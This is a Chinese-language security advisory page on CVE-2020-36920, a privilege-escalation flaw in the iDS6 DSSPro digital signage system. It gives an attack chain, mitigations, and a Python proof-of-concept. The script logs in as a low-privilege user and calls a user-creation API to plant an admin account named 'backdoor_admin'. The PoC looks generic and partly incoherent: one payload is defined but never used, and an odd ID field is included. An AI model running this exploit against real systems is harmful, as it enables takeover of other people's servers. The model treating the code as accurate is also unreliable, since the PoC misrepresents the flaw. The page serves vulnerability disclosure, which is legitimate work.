IPBUF安全漏洞报告
English
CVE-2020-36920 CVSS 8.8 高危

CVE-2020-36920 | iDS6 DSSPro数字标牌系统权限提升漏洞

披露日期: 2026-01-06

漏洞信息

漏洞编号
CVE-2020-36920
漏洞类型
不正确的访问控制(Improper Access Control)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
iDS6 DSSPro Digital Signage System

相关标签

CVE-2020-36920权限提升访问控制IDORiDS6 DSSPro数字标牌系统JavaScript控制台高危漏洞认证绕过

漏洞概述

CVE-2020-36920是iDS6 DSSPro数字标牌系统6.2版本中的一个高危安全漏洞,CVSS评分达到8.8分。该漏洞属于不正确的访问控制(Improper Access Control)类型,允许已认证的低权限用户通过系统的控制台JavaScript函数进行权限提升攻击。攻击者利用系统中存在的不安全直接对象引用(IDOR)缺陷,可以执行一系列高风险操作,包括创建新用户账户、修改用户角色和权限设置,最终可能导致攻击者获取系统完全控制权。由于该漏洞需要攻击者先具备认证身份,因此在内部威胁场景下危害尤为严重。攻击成功后,攻击者可以绕过正常的权限管理机制,以管理员权限执行任意操作,包括修改系统配置、访问敏感数据、甚至将权限扩展到整个应用程序。这种权限提升漏洞使得原本基于角色的访问控制(RBAC)机制完全失效,对企业数字标牌系统的安全性构成严重威胁。

技术细节

该漏洞的根本原因在于iDS6 DSSPro系统对控制台JavaScript函数的访问控制验证不足。系统设计允许认证用户访问管理控制台中的JavaScript执行接口,但未对这些接口进行充分的权限校验。在正常情况下,系统应该根据用户角色限制其可执行的API操作,但实际实现中存在安全缺陷,允许低权限用户调用本应仅限管理员使用的功能。具体来说,攻击者可以利用控制台中的JavaScript函数直接与后端API进行交互,绕过前端界面的权限限制。这些JavaScript函数包含了创建用户、修改角色和权限的接口,但由于服务器端验证不严格,未正确检查调用者的实际权限级别。此外,系统使用直接对象引用(IDOR)模式,攻击者可以通过猜测或枚举获取其他用户或角色的标识符,直接调用相关API进行操作。攻击者通常先通过控制台执行JavaScript代码调用用户创建接口,生成一个新的管理员账户,然后使用该账户登录系统获得完整的管理权限。整个攻击过程利用了认证机制与权限检查之间的不一致性,属于典型的客户端绕过服务端安全检查的漏洞模式。

攻击链分析

STEP 1
步骤1:侦察与信息收集
攻击者首先识别目标系统为iDS6 DSSPro数字标牌系统,通过端口扫描或服务指纹识别确认目标版本为6.2,并寻找可用的登录入口
STEP 2
步骤2:获取低权限账户
攻击者通过社工、弱口令爆破或利用其他漏洞获取系统的普通用户账户,该账户仅具有基本访问权限
STEP 3
步骤3:访问控制台JavaScript接口
使用获取的凭据登录系统后,攻击者访问管理控制台并找到JavaScript函数执行接口,这些函数本应仅供管理员使用
STEP 4
步骤4:利用IDOR漏洞创建管理员账户
攻击者通过控制台执行JavaScript代码,调用用户创建API接口,利用不安全的直接对象引用直接创建具有admin角色的新用户
STEP 5
步骤5:权限提升与系统接管
使用新创建的管理员账户登录系统,获得完整的管理权限,可以修改系统配置、访问所有数据、添加更多后门账户

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2020-36920 PoC - iDS6 DSSPro Privilege Escalation # Author: VulnCheck # Type: Improper Access Control / IDOR import requests import json TARGET = "https://vulnerable-ids6-server.com" USERNAME = "low_privilege_user" PASSWORD = "user_password" def exploit(): # Step 1: Authenticate with low privilege account session = requests.Session() login_data = { "username": USERNAME, "password": PASSWORD } login_resp = session.post(f"{TARGET}/api/auth/login", json=login_data) if login_resp.status_code != 200: print("[-] Authentication failed") return None print("[+] Successfully authenticated as low privilege user") # Step 2: Exploit console JavaScript functions for privilege escalation # Create admin user via insecure direct object reference create_user_payload = { "username": "backdoor_admin", "password": "P@ssw0rd123!", "role": "admin", "permissions": ["*"], "userId": 1 # IDOR - directly referencing admin object } # Alternative: Modify existing user role via JavaScript console escalate_payload = { "userId": 2, "role": "admin", "originalRole": "user" } # Send request through console JavaScript API exploit_resp = session.post( f"{TARGET}/api/users/create", json=create_user_payload, headers={"X-Requested-With": "XMLHttpRequest"} ) if exploit_resp.status_code == 200: print("[+] Privilege escalation successful!") print("[+] Created admin user: backdoor_admin") # Step 3: Login with new admin account admin_login = session.post( f"{TARGET}/api/auth/login", json={"username": "backdoor_admin", "password": "P@ssw0rd123!"} ) if admin_login.status_code == 200: print("[+] Full system compromise achieved") return session else: print(f"[-] Exploitation failed: {exploit_resp.status_code}") return None if __name__ == "__main__": exploit()

影响范围

iDS6 DSSPro Digital Signage System < 6.2
iDS6 DSSPro Digital Signage System = 6.2

防御指南

临时缓解措施
由于该漏洞需要认证才能利用,临时缓解措施包括:1)立即更改所有用户密码为强密码,防止凭据被盗用;2)限制管理控制台的访问IP,仅允许受信任的管理网络访问;3)临时禁用非必要的管理功能,保留最小可用功能集;4)启用入侵检测系统监控异常的用户创建和权限修改行为;5)如果业务允许,考虑暂时关闭系统或将其网络隔离,直到官方补丁发布。在应用补丁前,应持续监控系统的访问日志,排查是否存在已发生的攻击迹象。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表